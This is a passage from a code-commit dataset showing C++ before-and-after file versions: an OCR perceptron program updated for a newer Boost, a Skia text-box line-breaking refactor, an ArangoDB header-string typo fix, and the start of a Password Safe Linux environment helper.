}\n}\n\ntemplate< typename Perc >\nvoid save(const Perc& perc, std::string name) {\n    typename Perc::Memento memento = perc.getMemento();\n    std::ofstream strm(name);\n    cereal::XMLOutputArchive oa(strm);\n    oa << memento;\n    strm.flush();\n}\n\nvoid calculateWeights(std::string imagesPath) {\n    using namespace boost::filesystem;\n    path directory(imagesPath);\n    directory_iterator end_iter;\n\n    std::vector< std::string > files;\n    if(exists(directory) && is_directory(directory)) {\n        for(directory_iterator dir_iter(directory); dir_iter != end_iter; ++dir_iter) {\n            if(is_regular_file(dir_iter->status())) {\n                files.push_back(dir_iter->path().string());\n            }\n        }\n    }\n\n    std::cout << \"Perceptron calculation started\" << std::endl;\n    static Perceptron tmp = readPerceptron(\"perceptron.xml\");\n    static Algo algorithm(0.003f);\n    algorithm.setMemento(tmp.getMemento());\n\n    std::vector< Algo::Prototype > prototypes;\n    for(auto image : files) {\n        if(!boost::filesystem::is_directory(image)) {\n            try {\n                Algo::Prototype proto;\n                readImage(image, std::get< 0 >(proto).begin());\n                std::fill(std::get< 1 >(proto).begin(), std::get< 1 >(proto).end(), 0.f);\n                char ch = path(image).filename().string()[0];\n                size_t pos = alphabet.find(ch);\n                std::get< 1 >(proto)[pos] = 1.0f;\n                prototypes.push_back(proto);\n            } catch(const std::exception&) {\n                std::cout << \"Invalid image found :\" << image << std::endl;\n            }\n        }\n    }\n\n    auto errorFunc = [](unsigned int epoch, VarType error) {\n        \/\/ if(epoch % 100 == 0) {\n        std::cout << \"Epoch:\" << epoch << \" error:\" << error << std::endl;\n        \/\/ }\n\n        return error > 0.001f;\n    };\n\n    static Perceptron perceptron =\n     algorithm.calculate(prototypes.begin(), prototypes.end(), errorFunc);\n\n    save(perceptron, \"perceptron.xml\");\n}\n\nint main(int argc, char** argv) {\n    int result = -1;\n    if(argc == 3) {\n        recognize(argv[1], argv[2]);\n        result = 0;\n    } else if(argc == 2) {\n        calculateWeights(argv[1]);\n        result = 0;\n    } else {\n        std::cout << std::endl << \"Usage : \" << std::endl << std::endl;\n        std::cout << \".\/ocr [folder] where  [folder] is a directory with your \"\n                     \"samples, this command will generate a perceptron.xml file\"\n                  << std::endl\n                  << std::endl;\n        std::cout << \".\/ocr perceptron.xml [file] where [file] is a png image \"\n                     \"which has to be recognized\"\n                  << std::endl\n                  << std::endl;\n    }\n\n    return result;\n}\n<commit_msg>Fix ocr switch to new boost<commit_after>#include <NeuralNetwork\/LearningAlgorithm\/BackPropagation\/BepAlgorithm.h>\n#include <NeuralNetwork\/NeuralLayer\/ConvolutionLayer.h>\n#include <NeuralNetwork\/NeuralLayer\/NeuralLayer.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/BiopolarSigmoidFunction.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/LogScaleSoftmaxFunction.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/SigmoidFunction.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/SoftmaxFunction.h>\n#include <NeuralNetwork\/Neuron\/ActivationFunction\/TanhFunction.h>\n#include <NeuralNetwork\/Neuron\/Neuron.h>\n#include <NeuralNetwork\/Perceptron\/Perceptron.h>\n\/\/#include <NeuralNetwork\/NeuralLayer\/OpenCLNeuralLayer.h>\n#include <NeuralNetwork\/Config.h>\n\n#include <Utilities\/MPL\/Tuple.h>\n\n#ifndef BOOST_SYSTEM_NO_DEPRECATED\n#define BOOST_SYSTEM_NO_DEPRECATED 1\n#include <boost\/filesystem.hpp>\n#undef BOOST_SYSTEM_NO_DEPRECATED\n#endif\n\n#define png_infopp_NULL (png_infopp) NULL\n#define int_p_NULL (int*)NULL\n\n#if defined(NN_CC_MSVC)\n#pragma warning(push)\n\/\/ This function or variable may be unsafe\n#pragma warning(disable : 4996)\n#endif\n\n#include <boost\/gil\/channel_algorithm.hpp>\n#include <boost\/gil\/channel.hpp>\n\n#include <boost\/gil\/gil_all.hpp>\n#include <boost\/gil\/image.hpp>\n\n#include <boost\/gil\/extension\/io\/png\/old.hpp>\n#include <boost\/gil\/extension\/numeric\/sampler.hpp>\n#include <boost\/gil\/extension\/numeric\/resample.hpp>\n#include <boost\/gil\/extension\/dynamic_image\/any_image.hpp>\n#include <boost\/gil\/extension\/dynamic_image\/dynamic_image_all.hpp>\n\n#include <cereal\/archives\/xml.hpp>\n#include <cereal\/types\/array.hpp>\n#include <cereal\/types\/tuple.hpp>\n#include <cereal\/types\/vector.hpp>\n\n#if defined(NN_CC_MSVC)\n#pragma warning(pop)\n#endif\n\n#include \"Var.h\"\n\n#include <tuple>\n#include <cmath>\n#include <fstream>\n#include <iomanip>\n#include <iostream>\n#include <set>\n\ntypedef long double VarType;\n\nnamespace {\n    using namespace boost::gil;\n    using namespace boost::gil::detail;\n    const std::string alphabet(\"0123456789\");\n    constexpr std::size_t width = 49;\n    constexpr std::size_t height = 67;\n    constexpr std::size_t inputsNumber = width * height;\n    constexpr std::size_t margin = 15;\n    constexpr std::size_t stride = 10;\n} \/\/ namespace\n\n\nusing ConvolutionGrid =\n typename nn::ConvolutionGrid< width, height, stride, margin >::define;\n\nusing Perceptron =\n nn::Perceptron< VarType,\n                 nn::ConvolutionLayer< nn::NeuralLayer, nn::Neuron, nn::SigmoidFunction, inputsNumber, ConvolutionGrid >,\n                 nn::NeuralLayer< nn::Neuron, nn::SoftmaxFunction, 10, 1000 > >;\n\nusing Algo = nn::bp::BepAlgorithm< Perceptron, nn::bp::CrossEntropyError >;\n\ntemplate< typename Out >\nstruct halfdiff_cast_channels {\n    template< typename T >\n    Out operator()(const T& in1, const T& in2) const {\n        return Out((in1 - in2) \/ 2);\n    }\n};\n\ntemplate< typename SrcView, typename DstView >\nvoid convert_color(const SrcView& src, const DstView& dst) {\n    typedef typename channel_type< DstView >::type d_channel_t;\n    typedef typename channel_convert_to_unsigned< d_channel_t >::type channel_t;\n    typedef pixel< channel_t, gray_layout_t > gray_pixel_t;\n\n    copy_pixels(color_converted_view< gray_pixel_t >(src), dst);\n}\n\ntemplate< typename Iterator >\nvoid readImage(std::string fileName, Iterator out) {\n    using namespace boost::gil;\n    using namespace nn;\n    using namespace nn::bp;\n\n    rgb8_image_t srcImg;\n    png_read_image(fileName.c_str(), srcImg);\n\n    gray8_image_t dstImg(srcImg.dimensions());\n    gray8_pixel_t white(255);\n    fill_pixels(view(dstImg), white);\n\n    gray8_image_t grayImage(srcImg.dimensions());\n    convert_color(view(srcImg), view(grayImage));\n    auto grayView = view(grayImage);\n\n    gray8_image_t scaledImage(width, height);\n    resize_view(grayView, view(scaledImage), bilinear_sampler());\n    auto srcView = view(scaledImage);\n\n    for(int y = 0; y < srcView.height(); ++y) {\n        gray8c_view_t::x_iterator src_it(srcView.row_begin(y));\n        for(int x = 0; x < srcView.width(); ++x) {\n            *out = src_it[x] < 130 ? 1.f : -1.f; \/\/ 255.f;\n            out++;\n        }\n    }\n}\n\nPerceptron readPerceptron(std::string fileName) {\n    Perceptron perceptron;\n    if(boost::filesystem::exists(fileName.c_str())) {\n        std::ifstream file(fileName);\n        if(file.good()) {\n            Perceptron::Memento memento;\n            cereal::XMLInputArchive ia(file);\n            ia >> memento;\n\n            perceptron.setMemento(memento);\n        } else {\n            throw std::logic_error(\"Invalid perceptron file name\");\n        }\n    }\n\n    return perceptron;\n}\n\nvoid recognize(std::string perceptron, std::string image) {\n    try {\n        std::array< VarType, inputsNumber > inputs = {0};\n        readImage(image, inputs.begin());\n        std::vector< VarType > result(alphabet.length(), VarType(0.f));\n        readPerceptron(perceptron)\n         .calculate(inputs.begin(), inputs.end(), result.begin());\n        for(unsigned int i = 0; i < result.size(); i++) {\n            std::cout << \"Symbol: \" << alphabet[i] << \" \" << result[i] << std::endl;\n        }\n    } catch(const std::exception& e) {\n        std::cout << e.what() << std::endl;\n    } catch(...) {\n        std::cout << \"Unknown error\" << std::endl;\n    }\n}\n\ntemplate< typename Perc >\nvoid save(const Perc& perc, std::string name) {\n    typename Perc::Memento memento = perc.getMemento();\n    std::ofstream strm(name);\n    cereal::XMLOutputArchive oa(strm);\n    oa << memento;\n    strm.flush();\n}\n\nvoid calculateWeights(std::string imagesPath) {\n    using namespace boost::filesystem;\n    path directory(imagesPath);\n    directory_iterator end_iter;\n\n    std::vector< std::string > files;\n    if(exists(directory) && is_directory(directory)) {\n        for(directory_iterator dir_iter(directory); dir_iter != end_iter; ++dir_iter) {\n            if(is_regular_file(dir_iter->status())) {\n                files.push_back(dir_iter->path().string());\n            }\n        }\n    }\n\n    std::cout << \"Perceptron calculation started\" << std::endl;\n    static Perceptron tmp = readPerceptron(\"perceptron.xml\");\n    static Algo algorithm(0.003f);\n    algorithm.setMemento(tmp.getMemento());\n\n    std::vector< Algo::Prototype > prototypes;\n    for(auto image : files) {\n        if(!boost::filesystem::is_directory(image)) {\n            try {\n                Algo::Prototype proto;\n                readImage(image, std::get< 0 >(proto).begin());\n                std::fill(std::get< 1 >(proto).begin(), std::get< 1 >(proto).end(), 0.f);\n                char ch = path(image).filename().string()[0];\n                size_t pos = alphabet.find(ch);\n                std::get< 1 >(proto)[pos] = 1.0f;\n                prototypes.push_back(proto);\n            } catch(const std::exception&) {\n                std::cout << \"Invalid image found :\" << image << std::endl;\n            }\n        }\n    }\n\n    auto errorFunc = [](unsigned int epoch, VarType error) {\n        \/\/ if(epoch % 100 == 0) {\n        std::cout << \"Epoch:\" << epoch << \" error:\" << error << std::endl;\n        \/\/ }\n\n        return error > 0.001f;\n    };\n\n    static Perceptron perceptron =\n     algorithm.calculate(prototypes.begin(), prototypes.end(), errorFunc);\n\n    save(perceptron, \"perceptron.xml\");\n}\n\nint main(int argc, char** argv) {\n    int result = -1;\n    if(argc == 3) {\n        recognize(argv[1], argv[2]);\n        result = 0;\n    } else if(argc == 2) {\n        calculateWeights(argv[1]);\n        result = 0;\n    } else {\n        std::cout << std::endl << \"Usage : \" << std::endl << std::endl;\n        std::cout << \".\/ocr [folder] where  [folder] is a directory with your \"\n                     \"samples, this command will generate a perceptron.xml file\"\n                  << std::endl\n                  << std::endl;\n        std::cout << \".\/ocr perceptron.xml [file] where [file] is a png image \"\n                     \"which has to be recognized\"\n                  << std::endl\n                  << std::endl;\n    }\n\n    return result;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"SkTextBox.h\"\n#include \"..\/core\/SkGlyphCache.h\"\n#include \"SkUtils.h\"\n#include \"SkAutoKern.h\"\n\nstatic inline int is_ws(int c)\n{\n    return !((c - 1) >> 5);\n}\n\nstatic size_t linebreak(const char text[], const char stop[], const SkPaint& paint, SkScalar margin)\n{\n    const char* start = text;\n\n    SkAutoGlyphCache    ac(paint, NULL);\n    SkGlyphCache*       cache = ac.getCache();\n    SkFixed             w = 0;\n    SkFixed             limit = SkScalarToFixed(margin);\n    SkAutoKern          autokern;\n\n    const char* word_start = text;\n    int         prevWS = true;\n\n    while (text < stop)\n    {\n        const char* prevText = text;\n        SkUnichar   uni = SkUTF8_NextUnichar(&text);\n        int         currWS = is_ws(uni);\n        const SkGlyph&  glyph = cache->getUnicharMetrics(uni);\n\n        if (!currWS && prevWS)\n            word_start = prevText;\n        prevWS = currWS;\n\n        w += autokern.adjust(glyph) + glyph.fAdvanceX;\n        if (w > limit)\n        {\n            if (currWS) \/\/ eat the rest of the whitespace\n            {\n                while (text < stop && is_ws(SkUTF8_ToUnichar(text)))\n                    text += SkUTF8_CountUTF8Bytes(text);\n            }\n            else    \/\/ backup until a whitespace (or 1 char)\n            {\n                if (word_start == start)\n                {\n                    if (prevText > start)\n                        text = prevText;\n                }\n                else\n                    text = word_start;\n            }\n            break;\n        }\n    }\n    return text - start;\n}\n\nint SkTextLineBreaker::CountLines(const char text[], size_t len, const SkPaint& paint, SkScalar width)\n{\n    const char* stop = text + len;\n    int         count = 0;\n\n    if (width > 0)\n    {\n        do {\n            count += 1;\n            text += linebreak(text, stop, paint, width);\n        } while (text < stop);\n    }\n    return count;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkTextBox::SkTextBox()\n{\n    fBox.setEmpty();\n    fSpacingMul = SK_Scalar1;\n    fSpacingAdd = 0;\n    fMode = kLineBreak_Mode;\n    fSpacingAlign = kStart_SpacingAlign;\n}\n\nvoid SkTextBox::setMode(Mode mode)\n{\n    SkASSERT((unsigned)mode < kModeCount);\n    fMode = SkToU8(mode);\n}\n\nvoid SkTextBox::setSpacingAlign(SpacingAlign align)\n{\n    SkASSERT((unsigned)align < kSpacingAlignCount);\n    fSpacingAlign = SkToU8(align);\n}\n\nvoid SkTextBox::getBox(SkRect* box) const\n{\n    if (box)\n        *box = fBox;\n}\n\nvoid SkTextBox::setBox(const SkRect& box)\n{\n    fBox = box;\n}\n\nvoid SkTextBox::setBox(SkScalar left, SkScalar top, SkScalar right, SkScalar bottom)\n{\n    fBox.set(left, top, right, bottom);\n}\n\nvoid SkTextBox::getSpacing(SkScalar* mul, SkScalar* add) const\n{\n    if (mul)\n        *mul = fSpacingMul;\n    if (add)\n        *add = fSpacingAdd;\n}\n\nvoid SkTextBox::setSpacing(SkScalar mul, SkScalar add)\n{\n    fSpacingMul = mul;\n    fSpacingAdd = add;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid SkTextBox::draw(SkCanvas* canvas, const char text[], size_t len, const SkPaint& paint)\n{\n    SkASSERT(canvas && &paint && (text || len == 0));\n\n    SkScalar marginWidth = fBox.width();\n\n    if (marginWidth <= 0 || len == 0)\n        return;\n\n    const char* textStop = text + len;\n\n    SkScalar                x, y, scaledSpacing, height, fontHeight;\n    SkPaint::FontMetrics    metrics;\n\n    switch (paint.getTextAlign()) {\n    case SkPaint::kLeft_Align:\n        x = 0;\n        break;\n    case SkPaint::kCenter_Align:\n        x = SkScalarHalf(marginWidth);\n        break;\n    default:\n        x = marginWidth;\n        break;\n    }\n    x += fBox.fLeft;\n\n    fontHeight = paint.getFontMetrics(&metrics);\n    scaledSpacing = SkScalarMul(fontHeight, fSpacingMul) + fSpacingAdd;\n    height = fBox.height();\n\n    \/\/  compute Y position for first line\n    {\n        SkScalar textHeight = fontHeight;\n\n        if (fMode == kLineBreak_Mode && fSpacingAlign != kStart_SpacingAlign)\n        {\n            int count = SkTextLineBreaker::CountLines(text, textStop - text, paint, marginWidth);\n            SkASSERT(count > 0);\n            textHeight += scaledSpacing * (count - 1);\n        }\n\n        switch (fSpacingAlign) {\n        case kStart_SpacingAlign:\n            y = 0;\n            break;\n        case kCenter_SpacingAlign:\n            y = SkScalarHalf(height - textHeight);\n            break;\n        default:\n            SkASSERT(fSpacingAlign == kEnd_SpacingAlign);\n            y = height - textHeight;\n            break;\n        }\n        y += fBox.fTop - metrics.fAscent;\n    }\n\n    for (;;)\n    {\n        len = linebreak(text, textStop, paint, marginWidth);\n        if (y + metrics.fDescent + metrics.fLeading > 0)\n            canvas->drawText(text, len, x, y, paint);\n        text += len;\n        if (text >= textStop)\n            break;\n        y += scaledSpacing;\n        if (y + metrics.fAscent >= height)\n            break;\n    } \n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid SkTextBox::setText(const char text[], size_t len, const SkPaint& paint) {\n    fText = text;\n    fLen = len;\n    fPaint = &paint;\n}\n\nvoid SkTextBox::draw(SkCanvas* canvas) {\n    this->draw(canvas, fText, fLen, *fPaint);\n}\n\nint SkTextBox::countLines() const {\n    return SkTextLineBreaker::CountLines(fText, fLen, *fPaint, fBox.width());\n}\n\nSkScalar SkTextBox::getTextHeight() const {\n    SkScalar spacing = SkScalarMul(fPaint->getTextSize(), fSpacingMul) + fSpacingAdd;\n    return this->countLines() * spacing;\n}\n\n<commit_msg>SkTextBox to use public interfaces for line layout. https:\/\/codereview.appspot.com\/6438044\/<commit_after>\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkTextBox.h\"\n#include \"SkUtils.h\"\n\nstatic inline int is_ws(int c)\n{\n    return !((c - 1) >> 5);\n}\n\nstatic size_t linebreak(const char text[], const char stop[], const SkPaint& paint, SkScalar margin)\n{\n    return paint.breakText(text, stop - text, margin);\n}\n\nint SkTextLineBreaker::CountLines(const char text[], size_t len, const SkPaint& paint, SkScalar width)\n{\n    const char* stop = text + len;\n    int         count = 0;\n\n    if (width > 0)\n    {\n        do {\n            count += 1;\n            text += linebreak(text, stop, paint, width);\n        } while (text < stop);\n    }\n    return count;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkTextBox::SkTextBox()\n{\n    fBox.setEmpty();\n    fSpacingMul = SK_Scalar1;\n    fSpacingAdd = 0;\n    fMode = kLineBreak_Mode;\n    fSpacingAlign = kStart_SpacingAlign;\n}\n\nvoid SkTextBox::setMode(Mode mode)\n{\n    SkASSERT((unsigned)mode < kModeCount);\n    fMode = SkToU8(mode);\n}\n\nvoid SkTextBox::setSpacingAlign(SpacingAlign align)\n{\n    SkASSERT((unsigned)align < kSpacingAlignCount);\n    fSpacingAlign = SkToU8(align);\n}\n\nvoid SkTextBox::getBox(SkRect* box) const\n{\n    if (box)\n        *box = fBox;\n}\n\nvoid SkTextBox::setBox(const SkRect& box)\n{\n    fBox = box;\n}\n\nvoid SkTextBox::setBox(SkScalar left, SkScalar top, SkScalar right, SkScalar bottom)\n{\n    fBox.set(left, top, right, bottom);\n}\n\nvoid SkTextBox::getSpacing(SkScalar* mul, SkScalar* add) const\n{\n    if (mul)\n        *mul = fSpacingMul;\n    if (add)\n        *add = fSpacingAdd;\n}\n\nvoid SkTextBox::setSpacing(SkScalar mul, SkScalar add)\n{\n    fSpacingMul = mul;\n    fSpacingAdd = add;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid SkTextBox::draw(SkCanvas* canvas, const char text[], size_t len, const SkPaint& paint)\n{\n    SkASSERT(canvas && &paint && (text || len == 0));\n\n    SkScalar marginWidth = fBox.width();\n\n    if (marginWidth <= 0 || len == 0)\n        return;\n\n    const char* textStop = text + len;\n\n    SkScalar                x, y, scaledSpacing, height, fontHeight;\n    SkPaint::FontMetrics    metrics;\n\n    switch (paint.getTextAlign()) {\n    case SkPaint::kLeft_Align:\n        x = 0;\n        break;\n    case SkPaint::kCenter_Align:\n        x = SkScalarHalf(marginWidth);\n        break;\n    default:\n        x = marginWidth;\n        break;\n    }\n    x += fBox.fLeft;\n\n    fontHeight = paint.getFontMetrics(&metrics);\n    scaledSpacing = SkScalarMul(fontHeight, fSpacingMul) + fSpacingAdd;\n    height = fBox.height();\n\n    \/\/  compute Y position for first line\n    {\n        SkScalar textHeight = fontHeight;\n\n        if (fMode == kLineBreak_Mode && fSpacingAlign != kStart_SpacingAlign)\n        {\n            int count = SkTextLineBreaker::CountLines(text, textStop - text, paint, marginWidth);\n            SkASSERT(count > 0);\n            textHeight += scaledSpacing * (count - 1);\n        }\n\n        switch (fSpacingAlign) {\n        case kStart_SpacingAlign:\n            y = 0;\n            break;\n        case kCenter_SpacingAlign:\n            y = SkScalarHalf(height - textHeight);\n            break;\n        default:\n            SkASSERT(fSpacingAlign == kEnd_SpacingAlign);\n            y = height - textHeight;\n            break;\n        }\n        y += fBox.fTop - metrics.fAscent;\n    }\n\n    for (;;)\n    {\n        len = linebreak(text, textStop, paint, marginWidth);\n        if (y + metrics.fDescent + metrics.fLeading > 0)\n            canvas->drawText(text, len, x, y, paint);\n        text += len;\n        if (text >= textStop)\n            break;\n        y += scaledSpacing;\n        if (y + metrics.fAscent >= height)\n            break;\n    } \n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid SkTextBox::setText(const char text[], size_t len, const SkPaint& paint) {\n    fText = text;\n    fLen = len;\n    fPaint = &paint;\n}\n\nvoid SkTextBox::draw(SkCanvas* canvas) {\n    this->draw(canvas, fText, fLen, *fPaint);\n}\n\nint SkTextBox::countLines() const {\n    return SkTextLineBreaker::CountLines(fText, fLen, *fPaint, fBox.width());\n}\n\nSkScalar SkTextBox::getTextHeight() const {\n    SkScalar spacing = SkScalarMul(fPaint->getTextSize(), fSpacingMul) + fSpacingAdd;\n    return this->countLines() * spacing;\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fix crash when download bz2 from http<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2016 ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Jan Steemann\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"StaticStrings.h\"\n\nusing namespace arangodb;\n\n\/\/ constants\nstd::string const StaticStrings::N1800(\"1800\");\n\n\/\/ system attribute names\nstd::string const StaticStrings::IdString(\"_id\");\nstd::string const StaticStrings::KeyString(\"_key\");\nstd::string const StaticStrings::RevString(\"_rev\");\nstd::string const StaticStrings::FromString(\"_from\");\nstd::string const StaticStrings::ToString(\"_to\");\n\n\/\/ HTTP headers\nstd::string const StaticStrings::Accept(\"accept\");\nstd::string const StaticStrings::AccessControlAllowCredentials(\"access-control-allow-credentials\");\nstd::string const StaticStrings::AccessControlAllowHeaders(\"access-control-allow-headers\");\nstd::string const StaticStrings::AccessControlAllowMethods(\"access-control-allow-methods\");\nstd::string const StaticStrings::AccessControlAllowOrigin(\"access-control-allow-origin\");\nstd::string const StaticStrings::AccessControlExposeHeaders(\"access-control-expose-headers\");\nstd::string const StaticStrings::AccessControlMaxAge(\"access-control-max-age\");\nstd::string const StaticStrings::AccessControlRequestHeaders(\"access-control-request-headers\");\nstd::string const StaticStrings::Allow(\"allow\");\nstd::string const StaticStrings::Close(\"Close\");\nstd::string const StaticStrings::Connection(\"connection\");\nstd::string const StaticStrings::ContentTypeHeader(\"content-type\");\nstd::string const StaticStrings::KeepAlive(\"Close\");\nstd::string const StaticStrings::Location(\"location\");\nstd::string const StaticStrings::WwwAuthenticate(\"www-authenticate\");\n\n\/\/ mime types\nstd::string const StaticStrings::MimeTypeJson(\"application\/json; charset=utf-8\");\nstd::string const StaticStrings::MimeTypeVPack(\"application\/x-velocypack\");\n\n<commit_msg>fixed typo<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2016 ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Jan Steemann\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"StaticStrings.h\"\n\nusing namespace arangodb;\n\n\/\/ constants\nstd::string const StaticStrings::N1800(\"1800\");\n\n\/\/ system attribute names\nstd::string const StaticStrings::IdString(\"_id\");\nstd::string const StaticStrings::KeyString(\"_key\");\nstd::string const StaticStrings::RevString(\"_rev\");\nstd::string const StaticStrings::FromString(\"_from\");\nstd::string const StaticStrings::ToString(\"_to\");\n\n\/\/ HTTP headers\nstd::string const StaticStrings::Accept(\"accept\");\nstd::string const StaticStrings::AccessControlAllowCredentials(\"access-control-allow-credentials\");\nstd::string const StaticStrings::AccessControlAllowHeaders(\"access-control-allow-headers\");\nstd::string const StaticStrings::AccessControlAllowMethods(\"access-control-allow-methods\");\nstd::string const StaticStrings::AccessControlAllowOrigin(\"access-control-allow-origin\");\nstd::string const StaticStrings::AccessControlExposeHeaders(\"access-control-expose-headers\");\nstd::string const StaticStrings::AccessControlMaxAge(\"access-control-max-age\");\nstd::string const StaticStrings::AccessControlRequestHeaders(\"access-control-request-headers\");\nstd::string const StaticStrings::Allow(\"allow\");\nstd::string const StaticStrings::Close(\"Close\");\nstd::string const StaticStrings::Connection(\"connection\");\nstd::string const StaticStrings::ContentTypeHeader(\"content-type\");\nstd::string const StaticStrings::KeepAlive(\"Keep-Alive\");\nstd::string const StaticStrings::Location(\"location\");\nstd::string const StaticStrings::WwwAuthenticate(\"www-authenticate\");\n\n\/\/ mime types\nstd::string const StaticStrings::MimeTypeJson(\"application\/json; charset=utf-8\");\nstd::string const StaticStrings::MimeTypeVPack(\"application\/x-velocypack\");\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n* Copyright (c) 2003-2011 Rony Shapiro <ronys@users.sourceforge.net>.\n* All rights reserved. Use of the code is allowed under the\n* Artistic License 2.0 terms, as specified in the LICENSE file\n* distributed with this code, or available from\n* http:\/\/www.opensource.org\/licenses\/artistic-license-2.0.php\n*\/\n\n\/**\n * \\file Linux-specific implementation of env.h\n *\/\n\n#include <sstream>\n#include <cassert>\n#include <cstring>\n#include <cstdlib>\n#include <unistd.h>\n#include <limits.h>\n#include <sys\/types.h>\n#include <pwd.h>\n\n\n#include \"..\/env.h\"\n#include \"..\/utf8conv.h\" \/\/ for pws_os::towc\n\nstringT pws_os::getenv(const char *env, bool is_path)\n{\n  assert(env != NULL);\n  stringT retval;\n  char *value = std::getenv(env);\n  if (value != NULL) {\n#ifdef UNICODE\n    retval = pws_os::towc(value);\n#else\n    retval = value;\n#endif\n    if (is_path) {\n      \/\/ make sure path has trailing '\\'\n      if (retval[retval.length()-1] != charT('\/'))\n        retval += _S(\"\/\");\n    } \/\/ is_path\n  } \/\/ value != NULL\n  return retval;\n}\n\nvoid pws_os::setenv(const char *name, const char *value)\n{\n  ASSERT(name != NULL && value != NULL);\n  std::string envstring(name);\n  envstring += \"=\";\n  envstring += value;\n  setenv(envstring.c_str());\n}\n\nstringT pws_os::getusername()\n{\n  stringT retval;\n  struct passwd *pw_s = ::getpwuid(::getuid());\n  const char *user = (pw_s != NULL) ? pw_s->pw_name : 